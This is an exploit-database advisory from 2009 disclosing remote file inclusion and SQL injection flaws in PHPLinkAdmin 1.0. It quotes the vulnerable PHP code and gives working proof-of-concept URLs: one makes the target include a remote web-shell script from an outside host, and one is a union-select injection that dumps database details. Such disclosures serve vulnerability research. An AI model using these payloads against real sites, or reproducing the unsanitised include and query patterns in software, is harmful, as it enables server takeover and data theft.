Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection

vendor:

PHPLinkAdmin

by:

SirGod

6.4

CVSS

MEDIUM

Remote File Inclusion/SQL Injection

CWE

Product Name: PHPLinkAdmin

Affected Version From: PHPLinkAdmin 1.0

Affected Version To: PHPLinkAdmin 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:beerwin:phplinkadmin

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Beerwin’s PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection

PHPLinkAdmin 1.0 is vulnerable to Remote File Inclusion and SQL Injection. The vulnerable code is present in linkadmin.php and edlink.php respectively. The PoC for Remote File Inclusion is http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt? and for SQL Injection is http://127.0.0.1/path/edlink.php?linkid=-1' union all select 1,2,3,4,concat_ws(0x3a,user(),database(),version())'--

Mitigation:

Input validation should be done to prevent Remote File Inclusion and SQL Injection attacks.

Source

Exploit-DB raw data:

#######################################################################################################################
[+] Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#######################################################################################################################

[+] Download : http://www.downloads.beerwin.com/index.php?p=showdl&dl=16&cat=18

[+] Remote File Inclusion

 Direct acces to linkadmin.No auth.

 Vulnerable code in linkadmin.php :

-------------------------------------------------------------------------------------------
$page = $_REQUEST['page'];
if (!$page){
echo "Welcome to the PHPLINKADMIN!.<br> Please select an action from
the left menu.";
}else{
include $page;
}
--------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt?

========================================================================================================================

[+] Remote SQL Injection

  Is a lot of SQL Injection vulnerabilities in the script.I will
present only one.

  Vulnerable code in edlink.php :

-----------------------------------------------------------------------------------------------
$linkid=$_REQUEST['linkid'];
if (!$linkid){
  echo "Error: Link missing! <br />";
}else{
  $sql=mysql_query("SELECT * FROM linktable WHERE linkid='$linkid'")
or die(mysql_error());
-----------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/edlink.php?linkid=-1' union all select
1,2,3,4,concat_ws(0x3a,user(),database(),version())'--

 No important things to extract from database.

=========================================================================================================================


#######################################################################################################################

# milw0rm.com [2009-03-16]